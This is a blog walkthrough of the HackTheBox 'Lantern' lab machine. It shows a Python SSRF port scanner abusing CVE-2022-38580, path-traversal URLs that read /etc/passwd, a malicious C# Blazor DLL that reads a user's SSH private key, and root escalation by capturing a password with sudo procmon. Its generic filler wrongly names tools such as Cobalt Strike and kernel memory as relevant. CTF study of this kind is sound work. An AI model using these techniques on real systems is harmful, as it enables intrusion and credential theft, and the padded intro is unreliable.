Key Highlights
- Explore the fundamentals of ethical hacking and cybersecurity through conquering Lantern on HackTheBox.
- Gain insights into HackTheBox platform and the specifics of the Lantern challenge.
- Equip yourself with essential tools like Cobalt Strike and John for effectively tackling the challenge.
- Learn the significance of setting up the right environment with considerations like kernel memory and private key.
- Navigate through a comprehensive step-by-step guide to conquer Lantern, focusing on analyzing the challenge and identifying vulnerabilities.
Introduction
HackTheBox provides a space for fans to explore ethical hacking and improve their skills. Lantern is a challenge where users can test their abilities in digital forensics and solving problems. People who want to become cybersecurity experts can grow their knowledge by completing Lantern, which is a black-box challenge that acts like real-life situations. To start this journey, it is important to learn the basics of HackTheBox and what Lantern is about. Let’s look into Lantern’s details and solve its puzzles.
Understanding HackTheBox and Lantern
HackTheBox is a well-known platform where people who like ethical hacking can improve their skills safely. One of the challenges on HackTheBox is called Lantern. In this challenge, participants need to show their skills in digital forensics, exploit development, and reverse engineering. Lantern gives a practical experience by simulating real-life situations like black box testing, web application security, and SSH server penetration. Learning about the role of HackTheBox helps those interested in ethical hacking to get better at it.
What is HackTheBox?
HackTheBox is a website where you can find different virtual labs and challenges. It’s made for people who want to improve their skills in ethical hacking and cybersecurity. The platform offers a safe space to practice real-life hacking methods legally.
Overview of Lantern Challenge
Lantern on HackTheBox offers a detailed task for people who want to become ethical hackers. You can dive into digital forensics in a black-box setting. Here, you will focus on web applications and SSH servers. Your goal is to work through the challenge using private keys, kernel memory exploitation, and command-line skills. As you move through Lantern, you will learn more about vulnerabilities and cybersecurity. This task is a great chance to improve your skills and explore the field of cybersecurity. Use this challenge to check how good you are at ethical hacking.
Preparing to Tackle Lantern
Before you start working on Lantern from HackTheBox, it’s important to have the right tools and resources. Set up your environment with the right settings. This includes SSH servers and private keys. These are important for an easy hacking experience. Learn the basics of the command line. Also, look into advanced tools like Cobalt Strike. Knowing about weaknesses in web apps and kernel memory is essential. Get ready for your ethical hacking journey. Equip yourself with the knowledge and tools to handle Lantern well.
Essential Tools and Resources
To win the Lantern challenge on HackTheBox, you need some key tools and resources. First, have the right tools for ethical hacking. Cobalt Strike is great for post-exploitation tasks. You should also know about digital forensics tools like Autopsy to check for security problems. Understanding web application vulnerabilities is important too. Tools like OWASP ZAP can help you with this. Additionally, it is crucial to have knowledge and understanding of authentication methods, such as those found in the MITRE ATT&CK framework, which can help you build a more proactive security strategy. As an admin, it is important to have access to these tools and resources in order to effectively secure your systems. Get ready and prepare your tools carefully before you start this cyber adventure.
Setting Up Your Environment
To handle the Lantern challenge on HackTheBox, you need to prepare your environment well. Use tools like Cobalt Strike and SSH servers, and make sure your setup is safe. Apply good practices in digital forensics and cybersecurity to get through the black box challenge easily. Get to know terminal commands and how to manage access for a better hacking experience. Setting up your environment correctly will improve your ethical hacking skills and help you beat Lantern without trouble.
Step-by-step Guide to Conquering Lantern
By learning these steps, you can improve your cybersecurity skills. This will prepare you to face similar challenges confidently. Stay alert and use your knowledge in cyber terms like vulnerabilities and forensics to solve Lantern.
Step 1: Analyzing the Lantern Challenge
To start the Lantern challenge on HackTheBox, you need to carefully study the details of the challenge. Look closely at the situation given and break down all parts to find possible weaknesses. Use your skills in ethical hacking and digital forensics to discover the hidden areas within the challenge. Use tools like Cobalt Strike and command line interfaces to work through the task effectively. Keep an eye out for clues and hints that can help you solve the mystery of Lantern.
RECON
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Skipper Proxy
|_http-server-header: Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 06:08:47 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 06:08:37 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: OPTIONS, HEAD, GET
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 06:08:39 GMT
|_ Server: Skipper Proxy
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
| Date: Mon, 19 Aug 2024 06:08:42 GMT
| Server: Kestrel
| System.UriFormatException: Invalid URI: The hostname could not be parsed.
| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
| System.Uri..ctor(String uriString, UriKind uriKind)
| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
| HTTPOptions:
| HTTP/1.1 200 OK
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:08:51 GMT
| Server: Kestrel
| Help:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:08:44 GMT
| Server: Kestrel
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:08:52 GMT
| Server: Kestrel
| SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:09:10 GMT
| Server: Kestrel
| TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:09:12 GMT
|_ Server: KestrelPort 80 | Skipper Proxy
http://lantern.htb returns a website for IT solutions:
Visitng http://lantern.htb/vacancies we can see it’s recruiting engineers who suits for their needs of application:
We can upload a resume at the bottom of the page:
Besides, from previous Nmap scan result for port 80, we can see “Skipper Proxy” mentioned. The Skipper Proxy is a reverse proxy server and HTTP router built in Go. It’s designed to manage traffic in modern web architectures, handling HTTP requests and routing them to the appropriate backend services based on various rules and configurations:
- Traffic Routing: It routes incoming HTTP requests to different backend services or microservices based on rules defined in configuration or dynamically in code.
- Load Balancing: It can distribute incoming traffic across multiple backend servers to balance the load and improve performance.
- Redirection: Skipper can handle HTTP redirects, as shown in the scan results where it redirects to
http://lantern.htb/, indicating that the proxy is likely configured to forward traffic to this domain. - Security Features: It supports various security mechanisms like SSL/TLS termination, authentication, and access control.
Searching a little bit on Google and the 1st result returns an SSRF vulnerability for Skipper Proxy, CVE-2022-38580.
Port 3000 | Blazor
When we visit port 3000, it redirects to http://latern.htb:3000/login:
Taking a look at its source code:
Based on the source code of the login page, it seems like the application is built using Blazor, which we have inferred it from another box Blazorized earlier last season. It’s a web framework from Microsoft for building interactive web UIs with C#. Blazor applications can run on the server or client-side, and from the comments in the HTML, it appears that this particular application is a server-side Blazor app.
ALSO READ: Beginner’s Guide to conquering Sea on HackTheBox
Step 2: Identifying Vulnerabilities
In this step, dig into the Lantern challenge by finding vulnerabilities. Use your skills in ethical hacking and digital forensics to spot any weak points in the system. Use tools like Cobalt Strike and the command line to explore the black box of the challenge. Pay attention to web application security, SSH server setup, and kernel memory issues. Be alert as you navigate through the many vulnerabilities. This will help you improve your skills in cyber validation and exploitation.
Lantern | Tomas
SSRF | CVE-2022-38580
Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). Trying CVE-2022-38580 for http://lantern.htb we discover on Port 80.
The testing procedure is simple—add an specific header (X-Skipper-Proxy) to the http request. We can do it in BurpSuite:
When we try a random port for example 9999, it returns “503 Service Unavailable”.
So, we have basically verified the SSRF primitive. Use a python script to enumerate common ports (We actually know that Blazor’s default port is 5000):
import requests
from pwn import *
bar = log.progress("Enumerate ports for local network via SSRF")
# Target host and headers
target_host = "http://lantern.htb/"
headers = {
"Host": "lantern.htb",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://lantern.htb/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close",
}
# List of common ports to enumerate
common_ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 465, 587, 993, 995, 3306, 3389, 8080, 8443, 5000, 8000]
# Function to check a port via SSRF
def check_port(port):
bar.status(f"Testing port {port} for 127.0.0.1 ...")
headers["X-Skipper-Proxy"] = f"http://127.0.0.1:{port}"
try:
response = requests.get(target_host, headers=headers)
if response.status_code == 200:
print(f"Port {port} is open - Response: {response.status_code}")
elif response.status_code == 302:
print(f"Port {port} redirect - Response: {response.status_code}")
elif response.status_code == 403:
print(f"Port {port} Forbidden - Response: {response.status_code}")
elif response.status_code == 404:
print(f"Port {port} Not Found - Response: {response.status_code}")
elif response.status_code == 500:
print(f"Port {port} Internal Server Error - Response: {response.status_code}")
elif response.status_code == 503:
print(f"Port {port} Internal Server Error - Response: {response.status_code}")
else:
print(f"Port {port} returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Port {port} is closed or not reachable - Error: {e}")
# Enumerate through common ports
for port in common_ports:
check_port(port)
bar.success("Finish!")We have a result of ports 80, 5000, 8000 open for the internal localhost:
As we know, port 5000 is the default port for Blazor framework, and the default path to enumerate that is _framework/blazor.boot.json, /_framework/blazor.webassembly.js, as I have explained that in previous writeup for Blazorized. So, I am not gonna introduce again here.
Accessing the blazor.boot.json file, we have a list of exposed internal files:
In the JSON response, except for all those framework-default files, there’s only one custom DLL:
"InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI=Same step as we did in Blazorized box, copy the URL from Burp to browser, download the DLL file:
Use dnSpy to decompile the file and it’s code review time (it’s basically the source code of the InternaLantern app). First I identified a database name as Data.db:
Unfortunately, dnSpy did not do the job well this time for the decompilation. I had to then use dotPeek to try for a better decompilation. Finally, we found out some employees’ information base64 encoded:
There are 6 internal employees:
employee1.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20="));
employee2.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ=="));
employee3.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20="));
employee4.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ=="));
employee5.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20="));
employee6.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE="));Decoding the encoded strings:
- Head of sales department, emergency contact: +4412345678, email: john.s@example.com
- HR, emergency contact: +4412345678, email: anny.t@example.com
- FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com
- PR, emergency contact: +4412345678, email: lara.s@example.com
- Junior .NET developer, emergency contact: +4412345678, email: lila.s@example.com
- System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
Bang! we have the credentials for the internaLatern page, which is http://lantern.htb:3000. Log on the admin panel with it and we have access to the admin dashboard as T.Duarte, who is monitoring the network traffic:
Step 3: Exploiting Vulnerabilities
File Disclosure
We can upload new customer avatar to a specific path:
We can access the file systems under web root:
Including the source of code app.py:
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
@app.route('/')
def index():
if request.headers['Host'] != "lantern.htb":
return redirect("http://lantern.htb/", code=302)
return render_template("index.html")
@app.route('/vacancies')
def vacancies():
return render_template('vacancies.html')
@app.route('/submit', methods=['POST'])
def save_vacancy():
name = request.form.get('name')
email = request.form.get('email')
vacancy = request.form.get('vacancy', default='Middle Frontend Developer')
if 'resume' in request.files:
try:
file = request.files['resume']
resume_name = file.filename
if resume_name.endswith('.pdf') or resume_name == '':
filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
upload_folder = os.path.join(os.getcwd(), 'uploads')
destination = '/'.join([upload_folder, filename])
file.save(destination)
else:
return "Only PDF files allowed!"
except:
return "Something went wrong!"
return "Thank you! We will conact you very soon!"
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)There’re quite some vulnerabilities we can identify in this code snippet. But we can focus on the File Disclosure Vulnerability discovered from the /PrivacyAndPolicy route:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')In the /PrivacyAndPolicy route, it allows users to download files based on the lang and file_ext parameters. If these parameters are not properly sanitized, it could lead to path traversal attacks, allowing an attacker to access sensitive files outside the intended directory.
Therefore, we could craft a URL like /PrivacyAndPolicy?lang=../../../../etc/resolv&ext=conf (the file name must be concat with two parameters for {lang}.{ext}) to access the /etc/resolv.conf file or other sensitive files on the server:
I would like to access /etc/passwd to know the users on the machine, but the symbol . separates the filename and the extension. We can simply use a small trick to bypass this restriction, i.e. visiting URL http://lantern.htb/PrivacyAndPolicy?lang=../../../../&ext=./etc/passwd would construct a perfect path and solve the problem:
We can identify a non-system user tomas.
RCE Primitive
For http://lantern.htb:3000, we can input an arbitrary value to test the “Choose module” endpoint:
The error seems telling us this endpoint is able to load/execute a DLL assembly under the path /opt/component.thecybersecguru.dll—when we provide the filename as thecybersecguru.
Therefore, if we can upload a malicious DLL to /opt/components/thecybersecguru.dll, we can have an RCE attack.
RCE | Traversing Blazor
The “Upload content” option in http://lantern.htb:3000 admin dashboard also suffers from path traversing. We can verify that by uploading an empty DLL file to our target path /opt/components.
It means we can try to modify the file name to ../../../../opt/components/thecybersecguru.dll, using tools like BurpSuite intercepting the upload requests. But we are having an unusual situation for the Blazor Assembly application, which we hard to read the request body consisting of binaries:
When we want to test with Blazor, all the messages transmitted by the application included seemingly random binary characters, that we have limited readability and the inability to tamper with data. So, we can use a MessagePack extension in BurpSuite to read the serialized body content. And we can use the extension called Blazor Traffic Processor (BTP) to capture the BlazorPack message in BurpSuite.
MessagePack is another serialization format used to package structured data, like JSON, XML, etc. While Blazor server uses MessagePack, the traffic is specifically formatted according to Blazor’s own Hub Protocol specification. Therefore, generic MessagePack parsers like the Burp Suite MessagePack extension available from the BApp Store will not work with Blazor traffic.
Therefore, we can start to intercept those requests send to the Blazor server when we upload a file. Right-click the intercepted request and send it to the pre-downloaded BTP extension:
In the BTP tab, deserialize the body content, then we can simply modify the file name adding multiple ../‘s and the target path /opt/componenets‘:
Copy the modified content and select “JSON -> Blazor” option and serialize it into BlazorPack:
Now we can paste the binary to our intercepted request. Once we upload successfully, we can simply type thecybersecguru i.e. the filename in the “Choose module” option to verify the vulnerability:
Although the DLL file is invalid, but we know it’s uploaded successfully and ready to be executed.
On the server side, we apparently have some higher privileged user (tomas) when we interact with port 3000, than we did from the path traversing on port 80 (www-data). Because we can access sensitive files under
/opt/componentshere and we cannot make it happen with the path traversing primitive.
Let’s go get the RCE attack now. There’re many different ways we can get a reverse shell, once we have the RCE primitive verified. As we know there’s a tomas user from the path traversing last part, we can try to leak its SSH private key with the following C# code:
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace xpl
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
// Read private SSH key of user tomas
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}The namespace above must match the DLL filename for strict C# compilation policy. Then compile the file using dotnet on Linux system (for we will have a Linux executable DLL):
mkdir xpl_project && \
cd xpl_project && \
dotnet new classlib -n xpl
This will create a new class library project in a folder named xpl. Get inside it and paste the malicious C# code into Class1.cs :
Add the Package we need for the script:
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 && \
dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0And finally build it:
dotnet build -c release
We will find the xpl.dll file under path /xpl_project/xpl/bin/release/net6.0.
Now use the same method we did when verifying the RCE primitive, upload the xpl.dll and trigger it via the “Choose module” option, we are able to print the id_rsa for user tomas:
Modify the permission to 600, we can use it the remote log on the machine as user tomas, and compromise the user flag:
ALSO READ: Beginner’s Guide to conquering Blazorized on HackTheBox
Lantern | Root
Check an email for tomas, asking him to check for a specific shell script under /root folder:
The file /root/automation.sh is not readable but we can check SUDO privilege, which may relate to this script:
Procmon is usually associated with the Windows tool Process Monitor, but in the context of Linux, it could refer to a different utility. On some Linux systems, procmon can be a custom or less common tool used for monitoring processes. In our case, it seems to be allowing us to trace a file, as root of course:
-p/--pids: This option allows us to specify a list of Process IDs (PIDs) that we want to monitor. We can provide multiple PIDs by separating them with commas.-e/--events: With this option, we can specify which system calls or events you want to monitor. Like the PIDs, these events can also be provided as a comma-separated list.-c/--collect [FILEPATH]: This option startsprocmonin headless mode, meaning it will run without a user interface and will collect data directly into a specified file. This is useful for automated or script-based monitoring.-f/--file FILEPATH: This option allows us to open an existingprocmontrace file. It’s useful when we want to analyze previously collected data rather than monitoring processes in real time.
So we can look into current running processes. Run command ps -aef to display information about the currently running processes, including all processes for all users, not just the current user with a “full” format listing:
We found something interesting here. User root is somehow editing the suspicious file /root/automation.sh. Once we are able to write some malicious content into it, we may compromise the root user.
Mark down the PID (quickly, the PID is changing according to my observation) of the suspicious process, and test the SUDO command:
sudo procmon -p 16771 -e writeWait for a few minutes, long enough for the program to write sufficient data, Press F6 to export logs and F9 to exit:
Copy the exported DB file and we can identify that it’s in SQLite format:
scp -i id_rsa tomas@lantern.htb:/home/tomas/procmon_2024-08-21_12:46:46.db lantern.db
Looking into the DB file, the ebpf table records something interesting:
We can check the column names first to understand what it’s about with query PRAGMA table_info(ebpf);:
Comparing the data and the column names, we can the the Procmon is telling us that the Glibc had been calling the write syscall for the process.
ssize_t write(int fd, const void *buf, size_t count);If we press F8 during the process running we can see the runtime details:
For the column resultcode typically represents the return value of a system call or event. It possibly indicates (I guess) the outcome of the operation. Normally 0 means success that the system call completed without errors. While Error codes like -1 for a generic error). And a positive resultcode might indicate a special type of success that includes additional information (e.g., a file descriptor number, bytes written, etc.).
Most importantly, there’s the last column arguments which we can not see in the screen output! Because they are BLOB (binary object), which can be some interesting data it’s recording:
Thus, we can look up those BLOB data to see if there’s something interesting for what the root user keeps writing. Use .output output.txt to output specific data following by the next SQLite command:
SELECT hex(substr(arguments, 9, resultcode))
FROM ebpf
WHERE resultcode > 0
ORDER BY timestamp;The query is extracting and converting data from the arguments column in the ebpf table, specifically targeting rows where resultcode is greater than 0.
The query is extracting and converting data from the
argumentscolumn in theebpftable, specifically targeting rows whereresultcodeis greater than 0.
The data is extracted starting from the 9th character of the arguments column, and the length of the extracted substring is determined by the value in the resultcode column.
The BLOB records the complete write syscall with its metadata like
fd=3,buf=0xdeadbeef, .... Thus here we just extract its buffer data which is about what the root user had written.
The extracted substring is then converted to a hexadecimal format:
Now we have the output.txt containing the hexadecimal format of the buffer data. Uploading the file to Cyberchef and unhexing it with the “From hex” recipe:
The output indicates that the hex values represent non-printable characters (such as control characters), which are displayed as special symbols above.
But we can use the cat command to show the output (stdout) from the screen. Download the converted download.dat from Cyberchef, we can then review it the terminal:
The generated DB file must capture enough events by the Procmon to show complete content.
Well, the root user has shaky hands. We guess the password is duplicatedly depicted to us, that it should be Q3Eddtd▒▒▒▒▒▒. Use the password and su root from tomas shell, we compromise root:
Conclusion
In conclusion, completing the Lantern challenge on HackTheBox can be a great experience for anyone interested in ethical hacking and cybersecurity. By following the steps, like analyzing the challenge and finding vulnerabilities, you can improve your skills in digital forensics and penetration testing. Remember, this journey is just starting. You will explore the interesting world of cybersecurity and learn new terms like CTF and ROP. Keep working on your skills and stay curious in the changing field of cybersecurity.
Frequently Asked Questions
What basic skills do I need for Lantern?
To conquer Lantern on HackTheBox, you need some basic skills. First, you should know networking, web application security, and cryptography. It is also important to understand Linux systems and common vulnerabilities. You will find it helpful to be familiar with tools like Nmap, Burp Suite, and Wireshark.
How long does it typically take to solve Lantern?
Solving Lantern on HackTheBox can take different amounts of time. It really depends on how skilled and experienced each person is. If you are just starting out, it may take you several hours or even a few days. For those who are more advanced, they can finish it in just a few hours. To do well, it’s important to practice, keep trying, and use the resources that are available.
Can I collaborate with others on HackTheBox challenges?
Yes, working together is important on HackTheBox. Teaming up helps you solve challenges quicker and learn from others. Joining forces improves skills and builds a community.
What should I do if I get stuck?
If you feel stuck while working on Lantern in HackTheBox, don’t worry. Take a moment to pause. Look back at what you have done. Try different methods. Check online resources or forums for tips. You might also ask the community for help. Staying consistent and looking at things differently can help you move forward.
Are there any penalties for failing or restarting the challenge?
Failing or restarting the Lantern challenge on HackTheBox does not lead to penalties. You can learn from your mistakes and try again without any bad outcomes. This helps create a supportive learning space. It encourages you to explore and experiment while improving your cybersecurity skills.
